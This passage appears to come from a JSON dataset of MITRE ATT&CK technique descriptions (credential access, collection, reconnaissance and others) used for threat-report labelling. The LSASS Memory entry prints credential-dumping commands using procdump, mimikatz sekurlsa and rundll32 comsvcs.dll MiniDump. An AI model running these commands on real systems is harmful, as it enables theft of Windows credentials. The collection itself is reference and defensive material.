screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations. Taking a screenshot is also typically possible through native utilities or API calls, such as CopyFromScreen, xwd, or screencapture.\nTactics: collection\nPlatforms: Linux, Windows, macOS\nLabeled report example: It also has a wide range of information-stealing abilities including browser credential theft, keylogging, screen capture, and remote enabling of webcams." + }, + { + "id": "T1082", + "text": "ATT&CK technique: T1082 System Information Discovery\nDescription: An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use this information to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. This behavior is distinct from Local Storage Discovery which is an adversary's discovery of local drive, disks and/or volumes. Tools such as Systeminfo can be used to gather detailed system information. If running with privileged access, a breakdown of system data can be gathered through the systemsetup configuration tool on macOS. Adversaries may leverage a Network Device CLI on network devices to gather detailed system information (e.g. show version). On ESXi servers, threat actors may gather system information from various esxcli utilities, such as `system hostname get` and `system version get`. Infrastructure as a Service (IaaS) cloud providers such as AWS, GCP, and Azure allow access to instance and virtual machine information via APIs. Successful authenticated API calls can return data such as the operating system platform and status of a particular instance or the model view of a virtual machine. System Information Discovery combined with information gathered from other forms of discovery and reconnaissance can drive payload development and concealment.\nTactics: discovery\nPlatforms: ESXi, IaaS, Linux, Network Devices, Windows, macOS\nLabeled report example: It can steal credentials such as passwords, website cookies, credit card data, system information, and bitcoin wallet contents." + }, + { + "id": "T1021", + "text": "ATT&CK technique: T1021 Remote Services\nDescription: Adversaries may use Valid Accounts to log into a service that accepts remote connections, such as telnet, SSH, and VNC. The adversary may then perform actions as the logged-on user. In an enterprise environment, servers and workstations can be organized into domains. Domains provide centralized identity management, allowing users to login using one set of credentials across the entire network. If an adversary is able to obtain a set of valid domain credentials, they could login to many different machines using remote access protocols such as secure shell (SSH) or remote desktop protocol (RDP). They could also login to accessible SaaS or IaaS services, such as those that federate their identities to the domain, or management platforms for internal virtualization environments such as VMware vCenter. Legitimate applications (such as Software Deployment Tools and other administrative programs) may utilize Remote Services to access remote hosts. For example, Apple Remote Desktop (ARD) on macOS is native software used for remote management. ARD leverages a blend of protocols, including VNC to send the screen and control buffers and SSH for secure file transfer. Adversaries can abuse applications such as ARD to gain remote code execution and perform lateral movement. In versions of macOS prior to 10.14, an adversary can escalate an SSH session to an ARD session which enables an adversary to accept TCC (Transparency, Consent, and Control) prompts without user interaction and gain access to data.\nTactics: lateral movement\nPlatforms: ESXi, IaaS, Linux, Windows, macOS\nLabeled report example: Its features include remote desktop, logging keystrokes, stealing credentials, capturing microphone and webcam, and many more." + }, + { + "id": "T1125", + "text": "ATT&CK technique: T1125 Video Capture\nDescription: An adversary can leverage a computer's peripheral devices (e.g., integrated cameras or webcams) or applications (e.g., video call services) to capture video recordings for the purpose of gathering information. Images may also be captured from devices or applications, potentially in specified intervals, in lieu of video files. Malware or scripts may be used to interact with the devices through an available API provided by the operating system or an application to capture video or images. Video or image files may be written to disk and exfiltrated later. This technique differs from Screen Capture due to use of specific devices or applications for video recording rather than capturing the victim's screen. In macOS, there are a few different malware samples that record the user's webcam such as FruitFly and Proton.\nTactics: collection\nPlatforms: Linux, Windows, macOS\nLabeled report example: Its features include remote desktop, logging keystrokes, stealing credentials, capturing microphone and webcam, and many more." + }, + { + "id": "T1078.003", + "text": "ATT&CK technique: T1078.003 Local Accounts\nDescription: Adversaries may obtain and abuse credentials of a local account as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Local accounts are those configured by an organization for use by users, remote support, services, or for administration on a single system or service. Local Accounts may also be abused to elevate privileges and harvest credentials through OS Credential Dumping. Password reuse may allow the abuse of local accounts across a set of machines on a network for the purposes of Privilege Escalation and Lateral Movement.\nTactics: initial access, persistence, privilege escalation, stealth\nPlatforms: Containers, ESXi, Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1589.001", + "text": "ATT&CK technique: T1589.001 Credentials\nDescription: Adversaries may gather credentials that can be used during targeting. Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via Phishing for Information. Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors. Where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP). Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: Search Engines, breach dumps, code repositories, etc.). Adversaries may purchase credentials from dark web markets, such as Russian Market and 2easy, or through access to Telegram channels that distribute logs from infostealer malware. Gathering this information may reveal opportunities for other forms of reconnaissance (ex: Search Open Websites/Domains or Phishing for Information), establishing operational resources (ex: Compromise Accounts), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1003.001", + "text": "ATT&CK technique: T1003.001 LSASS Memory\nDescription: Adversaries may attempt to access credential material stored in the process memory of the Local Security Authority Subsystem Service (LSASS). After a user logs on, the system generates and stores a variety of credential materials in LSASS process memory. These credential materials can be harvested by an administrative user or SYSTEM and used to conduct Lateral Movement using Use Alternate Authentication Material. As well as in-memory techniques, the LSASS process memory can be dumped from the target host and analyzed on a local system. For example, on the target host use procdump: * procdump -ma lsass.exe lsass_dump Locally, mimikatz can be run using: * sekurlsa::Minidump lsassdump.dmp * sekurlsa::logonPasswords Built-in Windows tools such as `comsvcs.dll` can also be used: * rundll32.exe C:\\Windows\\System32\\comsvcs.dll MiniDump PID lsass.dmp full Similar to Image File Execution Options Injection, the silent process exit mechanism can be abused to create a memory dump of `lsass.exe` through Windows Error Reporting (`WerFault.exe`). Windows Security Support Provider (SSP) DLLs are loaded into LSASS process at system start. Once loaded into the LSA, SSP DLLs have access to encrypted and plaintext passwords that are stored in Windows, such as any logged-on user's Domain password or smart card PINs. The SSP configuration is stored in two Registry keys: HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\Security Packages and HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\OSConfig\\Security Packages. An adversary may modify these Registry keys to add new SSPs, which will be loaded the next time the system boots, or when the AddSecurityPackage Windows API function is called. The following SSPs can be used to access credentials: * Msv: Interactive logons, batch logons, and service logons are done through the MSV authentication package. * Wdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges. * Kerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later. * CredSSP: Provides SSO and Network Level Authentication for Remote Desktop Services.\nTactics: credential access\nPlatforms: Windows" + }, + { + "id": "T1598", + "text": "ATT&CK technique: T1598 Phishing for Information\nDescription: Adversaries may send phishing messages to elicit sensitive information that can be used during targeting. Phishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Phishing for information is different from Phishing in that the objective is gathering data from the victim rather than executing malicious code. All forms of phishing are electronically delivered social engineering. Phishing can be targeted, known as spearphishing. In spearphishing, a specific individual, company, or industry will be targeted by the adversary. More generally, adversaries can conduct non-targeted phishing, such as in mass credential harvesting campaigns. Adversaries may also try to obtain information directly through the exchange of emails, instant messages, or other electronic conversation means. Victims may also receive phishing messages that direct them to call a phone number where the adversary attempts to collect confidential information. Phishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. Another way to accomplish this is by Email Spoofing the identity of the sender, which can be used to fool both the human recipient as well as automated security tools. Phishing for information may also involve evasive techniques, such as removing or manipulating emails or metadata/headers from compromised accounts being abused to send messages (e.g., Email Hiding Rules).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1003", + "text": "ATT&CK technique: T1003 OS Credential Dumping\nDescription: Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password. Credentials can be obtained from OS caches, memory, or structures. Credentials can then be used to perform Lateral Movement and access restricted information. Several of the tools mentioned in associated sub-techniques may be used by both adversaries and professional security testers. Additional custom tools likely exist as well.\nTactics: credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1552", + "text": "ATT&CK technique: T1552 Unsecured Credentials\nDescription: Adversaries may search compromised systems to find and obtain insecurely stored credentials. These credentials can be stored and/or misplaced in many locations on a system, including plaintext files (e.g. Shell History), operating system or application-specific repositories (e.g. Credentials in Registry), or other specialized files/artifacts (e.g. Private Keys).\nTactics: credential access\nPlatforms: Containers, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1056.002", + "text": "ATT&CK technique: T1056.002 GUI Input Capture\nDescription: Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: Bypass User Account Control). Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite. This type of prompt can be used to collect credentials via various languages such as AppleScript and PowerShell. On Linux systems adversaries may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. Unix Shell). Adversaries may also mimic common software authentication requests, such as those from browsers or email clients. This may also be paired with user activity monitoring (i.e., Browser Information Discovery and/or Application Window Discovery) to spoof prompts when users are naturally accessing sensitive sites/data.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1056.001", + "text": "ATT&CK technique: T1056.001 Keylogging\nDescription: Adversaries may log user keystrokes to intercept credentials as the user types them. Keylogging is likely to be used to acquire credentials for new access opportunities when OS Credential Dumping efforts are not effective, and may require an adversary to intercept keystrokes on a system for a substantial period of time before credentials can be successfully captured. In order to increase the likelihood of capturing credentials quickly, an adversary may also perform actions such as clearing browser cookies to force users to reauthenticate to systems. Keylogging is the most prevalent type of input capture, with many different ways of intercepting keystrokes. Some methods include: * Hooking API callbacks used for processing keystrokes. Unlike Credential API Hooking, this focuses solely on API functions intended for processing keystroke data. * Reading raw keystroke data from the hardware buffer. * Windows Registry modifications. * Custom drivers. * Modify System Image may provide adversaries with hooks into the operating system of network devices to read raw keystrokes for login sessions.\nTactics: collection, credential access\nPlatforms: Linux, Network Devices, Windows, macOS" + }, + { + "id": "T1593.002", + "text": "ATT&CK technique: T1593.002 Search Engines\nDescription: Adversaries may use search engines to collect information about victims that can be used during targeting. Search engine services typical crawl online sites to index context and may provide users with specialized syntax to search for specific keywords or specific types of content (i.e. filetypes). Adversaries may craft various search engine queries depending on what information they seek to gather. Threat actors may use search engines to harvest general information about victims, as well as use specialized queries to look for spillages/leaks of sensitive information such as network details or credentials. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Valid Accounts or Phishing).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1110.004", + "text": "ATT&CK technique: T1110.004 Credential Stuffing\nDescription: Adversaries may use credentials obtained from breach dumps of unrelated accounts to gain access to target accounts through credential overlap. Occasionally, large numbers of username and password pairs are dumped online when a website or service is compromised and the user account credentials accessed. The information may be useful to an adversary attempting to compromise accounts by taking advantage of the tendency for users to use the same passwords across personal and business accounts. Credential stuffing is a risky option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. Typically, management services over commonly used ports are used when stuffing credentials. Commonly targeted services include the following: * SSH (22/TCP) * Telnet (23/TCP) * FTP (21/TCP) * NetBIOS / SMB / Samba (139/TCP & 445/TCP) * LDAP (389/TCP) * Kerberos (88/TCP) * RDP / Terminal Services (3389/TCP) * HTTP/HTTP Management Services (80/TCP & 443/TCP) * MSSQL (1433/TCP) * Oracle (1521/TCP) * MySQL (3306/TCP) * VNC (5900/TCP) In addition to management services, adversaries may \"target single sign-on (SSO) and cloud-based applications utilizing federated authentication protocols,\" as well as externally facing email applications, such as Office 365.\nTactics: credential access\nPlatforms: Containers, ESXi, IaaS, Identity Provider, Linux, Network Devices, Office Suite, SaaS, Windows, macOS" + }, + { + "id": "T1596.003", + "text": "ATT&CK technique: T1596.003 Digital Certificates\nDescription: Adversaries may search public digital certificate data for information about victims that can be used during targeting. Digital certificates are issued by a certificate authority (CA) in order to cryptographically verify the origin of signed content. These certificates, such as those used for encrypted web traffic (HTTPS SSL/TLS communications), contain information about the registered organization such as name and location. Adversaries may search digital certificate data to gather actionable information. Threat actors can use online resources and lookup tools to harvest information about certificates. Digital certificate data may also be available from artifacts signed by the organization (ex: certificates used from encrypted web traffic are served with content). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Phishing for Information), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Trusted Relationship).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1593.001", + "text": "ATT&CK technique: T1593.001 Social Media\nDescription: Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff. Adversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim’s into revealing specific information (i.e. Spearphishing Service). Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Technical Databases), establishing operational resources (ex: Establish Accounts or Compromise Accounts), and/or initial access (ex: Spearphishing via Service).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1212", + "text": "ATT&CK technique: T1212 Exploitation for Credential Access\nDescription: Adversaries may exploit software vulnerabilities in an attempt to collect credentials. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Credentialing and authentication mechanisms may be targeted for exploitation by adversaries as a means to gain access to useful credentials or circumvent the process to gain authenticated access to systems. One example of this is `MS14-068`, which targets Kerberos and can be used to forge Kerberos tickets using domain user permissions. Another example of this is replay attacks, in which the adversary intercepts data packets sent between parties and then later replays these packets. If services don't properly validate authentication requests, these replayed packets may allow an adversary to impersonate one of the parties and gain unauthorized access or privileges. Such exploitation has been demonstrated in cloud environments as well. For example, adversaries have exploited vulnerabilities in public cloud infrastructure that allowed for unintended authentication token creation and renewal. Exploitation for credential access may also result in Privilege Escalation depending on the process targeted or credentials obtained.\nTactics: credential access\nPlatforms: Identity Provider, Linux, Windows, macOS" + }, + { + "id": "T1588", + "text": "ATT&CK technique: T1588 Obtain Capabilities\nDescription: Adversaries may buy and/or steal capabilities that can be used during targeting. Rather than developing their own capabilities in-house, adversaries may purchase, freely download, or steal them. Activities may include the acquisition of malware, software (including licenses), exploits, certificates, and information relating to vulnerabilities. Adversaries may obtain capabilities to support their operations throughout numerous phases of the adversary lifecycle. In addition to downloading free malware, software, and exploits from the internet, adversaries may purchase these capabilities from third-party entities. Third-party entities can include technology companies that specialize in malware and exploits, criminal marketplaces, or from individuals. In addition to purchasing capabilities, adversaries may steal capabilities from third-party entities (including other adversaries). This can include stealing software licenses, malware, SSL/TLS and code-signing certificates, or raiding closed databases of vulnerabilities or exploits.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1056.003", + "text": "ATT&CK technique: T1056.003 Web Portal Capture\nDescription: Adversaries may install code on externally facing portals, such as a VPN login page, to capture and transmit credentials of users who attempt to log into the service. For example, a compromised login page may log provided user credentials before logging the user in to the service. This variation on input capture may be conducted post-compromise using legitimate administrative access as a backup measure to maintain network access through External Remote Services and Valid Accounts or as part of the initial compromise by exploitation of the externally facing web service.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1213.003", + "text": "ATT&CK technique: T1213.003 Code Repositories\nDescription: Adversaries may leverage code repositories to collect valuable information. Code repositories are tools/services that store source code and automate software builds. They may be hosted internally or privately on third party sites such as Github, GitLab, SourceForge, and BitBucket. Users typically interact with code repositories through a web application or command-line utilities such as git. Once adversaries gain access to a victim network or a private code repository, they may collect sensitive information such as proprietary source code or Unsecured Credentials contained within software's source code. Having access to software's source code may allow adversaries to develop Exploits, while credentials may provide access to additional resources using Valid Accounts. **Note:** This is distinct from Code Repositories, which focuses on conducting Reconnaissance via public code repositories.\nTactics: collection\nPlatforms: SaaS" + }, + { + "id": "T1114.002", + "text": "ATT&CK technique: T1114.002 Remote Email Collection\nDescription: Adversaries may target an Exchange server, Office 365, or Google Workspace to collect sensitive information. Adversaries may leverage a user's credentials and interact directly with the Exchange server to acquire information from within a network. Adversaries may also access externally facing Exchange services, Office 365, or Google Workspace to access email using credentials or access tokens. Tools such as MailSniper can be used to automate searches for specific keywords.\nTactics: collection\nPlatforms: Office Suite, Windows" + }, + { + "id": "T1552.008", + "text": "ATT&CK technique: T1552.008 Chat Messages\nDescription: Adversaries may directly collect unsecured credentials stored or passed through user communication services. Credentials may be sent and stored in user chat communication applications such as email, chat services like Slack or Teams, collaboration tools like Jira or Trello, and any other services that support user communication. Users may share various forms of credentials (such as usernames and passwords, API keys, or authentication tokens) on private or public corporate internal communications channels. Rather than accessing the stored chat logs (i.e., Credentials In Files), adversaries may directly access credentials within these services on the user endpoint, through servers hosting the services, or through administrator portals for cloud hosted services. Adversaries may also compromise integration tools like Slack Workflows to automatically search through messages to extract user credentials. These credentials may then be abused to perform follow-on activities such as lateral movement or privilege escalation .\nTactics: credential access\nPlatforms: Office Suite, SaaS" + }, + { + "id": "T1555.005", + "text": "ATT&CK technique: T1555.005 Password Managers\nDescription: Adversaries may acquire user credentials from third-party password managers. Password managers are applications designed to store user credentials, normally in an encrypted database. Credentials are typically accessible after a user provides a master password that unlocks the database. After the database is unlocked, these credentials may be copied to memory. These databases can be stored as files on disk. Adversaries may acquire user credentials from password managers by extracting the master password and/or plain-text credentials from memory. Adversaries may extract credentials from memory via Exploitation for Credential Access. Adversaries may also try brute forcing via Password Guessing to obtain the master password of a password manager.\nTactics: credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1586", + "text": "ATT&CK technique: T1586 Compromise Accounts\nDescription: Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. Establish Accounts), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. A variety of methods exist for compromising accounts, such as gathering credentials via Phishing for Information, purchasing credentials from third-party sites, brute forcing credentials (ex: password reuse from breach credential dumps), or paying employees, suppliers or business partners for access to credentials. Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. Personas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos. Adversaries may directly leverage compromised email accounts for Phishing for Information or Phishing.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1552.007", + "text": "ATT&CK technique: T1552.007 Container API\nDescription: Adversaries may gather credentials via APIs within a containers environment. APIs in these environments, such as the Docker API and Kubernetes APIs, allow a user to remotely manage their container resources and cluster components. An adversary may access the Docker API to collect logs that contain credentials to cloud, container, and various other resources in the environment. An adversary with sufficient permissions, such as via a pod's service account, may also use the Kubernetes API to retrieve credentials from the Kubernetes API server. These credentials may include those needed for Docker API authentication or secrets from Kubernetes cluster components.\nTactics: credential access\nPlatforms: Containers" + }, + { + "id": "T1056.004", + "text": "ATT&CK technique: T1056.004 Credential API Hooking\nDescription: Adversaries may hook into Windows application programming interface (API) functions and Linux system functions to collect user credentials. Malicious hooking mechanisms may capture API or function calls that include parameters that reveal user authentication credentials. Unlike Keylogging, this technique focuses specifically on API functions that include parameters that reveal user credentials. In Windows, hooking involves redirecting calls to these functions and can be implemented via: * **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. * **Import address table (IAT) hooking**, which use modifications to a process’s IAT, where pointers to imported API functions are stored. * **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. In Linux and macOS, adversaries may hook into system functions via the `LD_PRELOAD` (Linux) or `DYLD_INSERT_LIBRARIES` (macOS) environment variables, which enables loading shared libraries into a program’s address space. For example, an adversary may capture credentials by hooking into the `libc read` function leveraged by SSH or SCP.\nTactics: collection, credential access\nPlatforms: Linux, Windows, macOS" + }, + { + "id": "T1598.003", + "text": "ATT&CK technique: T1598.003 Spearphishing Link\nDescription: Adversaries may send spearphishing messages with a malicious link to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, the malicious emails contain links generally accompanied by social engineering text to coax the user to actively click or copy and paste a URL into a browser. The given website may be a clone of a legitimate site (such as an online or corporate login portal) or may closely resemble a legitimate site in appearance and have a URL containing elements from the real site. URLs may also be obfuscated by taking advantage of quirks in the URL schema, such as the acceptance of integer- or hexadecimal-based hostname formats and the automatic discarding of text before an “@” symbol: for example, `hxxp://google.com@1157586937`. Adversaries may also embed “tracking pixels,” \"web bugs,\" or \"web beacons\" within phishing messages to verify the receipt of an email, while also potentially profiling and tracking victim information such as IP address. These mechanisms often appear as small images (typically one pixel in size) or otherwise obfuscated objects and are typically delivered as HTML code containing a link to a remote server. Adversaries may also be able to spoof a complete website using what is known as a \"browser-in-the-browser\" (BitB) attack. By generating a fake browser popup window with an HTML-based address bar that appears to contain a legitimate URL (such as an authentication portal), they may be able to prompt users to enter their credentials while bypassing typical URL verification methods. Adversaries can use phishing kits such as `EvilProxy` and `Evilginx2` to perform adversary-in-the-middle phishing by proxying the connection between the victim and the legitimate website. On a successful login, the victim is redirected to the legitimate website, while the adversary captures their session cookie (i.e., Steal Web Session Cookie) in addition to their username and password. This may enable the adversary to then bypass MFA via Web Session Cookie. Adversaries may also send a malicious link in the form of Quick Response (QR) Codes (also known as “quishing”). These links may direct a victim to a credential phishing page. By using a QR code, the URL may not be exposed in the email and may thus go undetected by most automated email security scans. These QR codes may be scanned by or delivered directly to a user’s mobile device (i.e., Phishing), which may be less secure in several relevant ways. For example, mobile users may not be able to notice minor differences between genuine and credential harvesting websites due to mobile’s smaller form factor. From the fake website, information is gathered in web forms and sent to the adversary. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1552.001", + "text": "ATT&CK technique: T1552.001 Credentials In Files\nDescription: Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords. It is possible to extract passwords from backups or saved virtual machines through OS Credential Dumping. Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files. They may also be found as parameters to deployment commands in container logs. In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.\nTactics: credential access\nPlatforms: Containers, IaaS, Linux, Windows, macOS" + }, + { + "id": "T1003.004", + "text": "ATT&CK technique: T1003.004 LSA Secrets\nDescription: Adversaries with SYSTEM access to a host may attempt to access Local Security Authority (LSA) secrets, which can contain a variety of different credential materials, such as credentials for service accounts. LSA secrets are stored in the registry at HKEY_LOCAL_MACHINE\\SECURITY\\Policy\\Secrets. LSA secrets can also be dumped from memory. Reg can be used to extract from the Registry. Mimikatz can be used to extract secrets from memory.\nTactics: credential access\nPlatforms: Windows" + }, + { + "id": "T1110.002", + "text": "ATT&CK technique: T1110.002 Password Cracking\nDescription: Adversaries may use password cracking to attempt to recover usable credentials, such as plaintext passwords, when credential material such as password hashes are obtained. OS Credential Dumping can be used to obtain password hashes, this may only get an adversary so far when Pass the Hash is not an option. Further, adversaries may leverage Data from Configuration Repository in order to obtain hashed credentials for network devices. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table to crack hashes. Cracking hashes is usually done on adversary-controlled systems outside of the target network. The resulting plaintext password resulting from a successfully cracked hash may be used to log into systems, resources, and services in which the account has access.\nTactics: credential access\nPlatforms: Identity Provider, Linux, Network Devices, Office Suite, Windows, macOS" + }, + { + "id": "T1584.008", + "text": "ATT&CK technique: T1584.008 Network Devices\nDescription: Adversaries may compromise third-party network devices that can be used during targeting. Network devices, such as small office/home office (SOHO) routers, may be compromised where the adversary's ultimate goal is not Initial Access to that environment, but rather to leverage these devices to support additional targeting. Once an adversary has control, compromised network devices can be used to launch additional operations, such as hosting payloads for Phishing campaigns (i.e., Link Target) or enabling the required access to execute Content Injection operations. Adversaries may also be able to harvest reusable credentials (i.e., Valid Accounts) from compromised network devices. Adversaries often target Internet-facing edge devices and related network appliances that specifically do not support robust host-based defenses. Compromised network devices may be used to support subsequent Command and Control activity, such as Hide Infrastructure through an established Proxy and/or Botnet network.\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1597.002", + "text": "ATT&CK technique: T1597.002 Purchase Technical Data\nDescription: Adversaries may purchase technical information about victims that can be used during targeting. Information about victims may be available for purchase within reputable private sources and databases, such as paid subscriptions to feeds of scan databases or other data aggregation services. Adversaries may also purchase information from less-reputable sources such as dark web or cybercrime blackmarkets. Adversaries may purchase information about their already identified targets, or use purchased data to discover opportunities for successful breaches. Threat actors may gather various technical details from purchased data, including but not limited to employee contact information, credentials, or specifics regarding a victim’s infrastructure. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Phishing for Information or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Valid Accounts).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1596.005", + "text": "ATT&CK technique: T1596.005 Scan Databases\nDescription: Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners. Adversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: Active Scanning or Search Open Websites/Domains), establishing operational resources (ex: Develop Capabilities or Obtain Capabilities), and/or initial access (ex: External Remote Services or Exploit Public-Facing Application).\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1598.002", + "text": "ATT&CK technique: T1598.002 Spearphishing Attachment\nDescription: Adversaries may send spearphishing messages with a malicious attachment to elicit sensitive information that can be used during targeting. Spearphishing for information is an attempt to trick targets into divulging information, frequently credentials or other actionable information. Spearphishing for information frequently involves social engineering techniques, such as posing as a source with a reason to collect information (ex: Establish Accounts or Compromise Accounts) and/or sending multiple, seemingly urgent messages. All forms of spearphishing are electronically delivered social engineering targeted at a specific individual, company, or industry. In this scenario, adversaries attach a file to the spearphishing email. In some cases, they may rely upon the recipient populating information, then returning the file. The text of the spearphishing email usually tries to give a plausible reason why the file should be filled-in, such as a request for information from a business associate. In other cases, adversaries may leverage techniques such as HTML Smuggling to harvest user credentials via fake login portals. Adversaries may also use information from previous reconnaissance efforts (ex: Search Open Websites/Domains or Search Victim-Owned Websites) to craft persuasive and believable lures.\nTactics: reconnaissance\nPlatforms: PRE" + }, + { + "id": "T1556.002", + "text": "ATT&CK technique: T1556.002 Password Filter DLL\nDescription: Adversaries may register malicious password filter dynamic link libraries (DLLs) into the authentication process to acquire user credentials as they are validated. Windows password filters are password policy enforcement mechanisms for both domain and local accounts. Filters are implemented as DLLs containing a method to validate potential passwords against password policies. Filter DLLs can be positioned on local computers for local accounts and/or domain controllers for domain accounts. Before registering new passwords in the Security Accounts Manager (SAM), the Local Security Authority (LSA) requests validation from each registered filter. Any potential changes cannot take effect until every registered filter acknowledges validation. Adversaries can register malicious password filters to harvest credentials from local computers and/or entire domains. To perform proper validation, filters must receive plain-text credentials from the LSA. A malicious password filter would receive these plain-text credentials every time a password request is made.\nTactics: credential access, defense impairment, persistence\nPlatforms: Windows" + }, + { + "id": "T1588.005", + "text": "ATT&CK technique: T1588.005 Exploits\nDescription: Adversaries may buy, steal, or download exploits that can be used during targeting. An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. Rather than developing their own exploits, an adversary may find/modify exploits from online or purchase them from exploit vendors. In addition to downloading free exploits from the internet, adversaries may purchase exploits from third-party entities. Third-party entities can include technology companies that specialize in exploit development, criminal marketplaces (including exploit kits), or from individuals. In addition to purchasing exploits, adversaries may steal and repurpose exploits from third-party entities (including other adversaries). An adversary may monitor exploit provider forums to understand the state of existing, as well as newly discovered, exploits. There is usually a delay between when an exploit is discovered and when it is made public. An adversary may target the systems of those known to conduct exploit research and development in order to gain that knowledge for use during a subsequent operation. Adversaries may use exploits during various phases of the adversary lifecycle (i.e. Exploit Public-Facing Application, Exploitation for Client Execution, Exploitation for Privilege Escalation, Exploitation for Stealth, Exploitation for Credential Access, Exploitation of Remote Services, and Application or System Exploitation).\nTactics: resource development\nPlatforms: PRE" + }, + { + "id": "T1555.004", + "text": "ATT&CK technique: T1555.004 Windows Credential Manager\nDescription: Adversaries may acquire credentials from the Windows Credential Manager. The Credential Manager stores credentials for signing into websites, applications, and/or devices that request authentication through NTLM or Kerberos in Credential Lockers (previously known as Windows Vaults). The Windows Credential Manager separates website credentials from application or network credentials in two lockers. As part of Credentials from Web Browsers, Internet Explorer and Microsoft Edge website credentials are managed by the Credential Manager and are stored in the Web Credentials locker. Application and network credentials are stored in the Windows Credentials locker. Credential Lockers store credentials in encrypted `.vcrd` files, located under 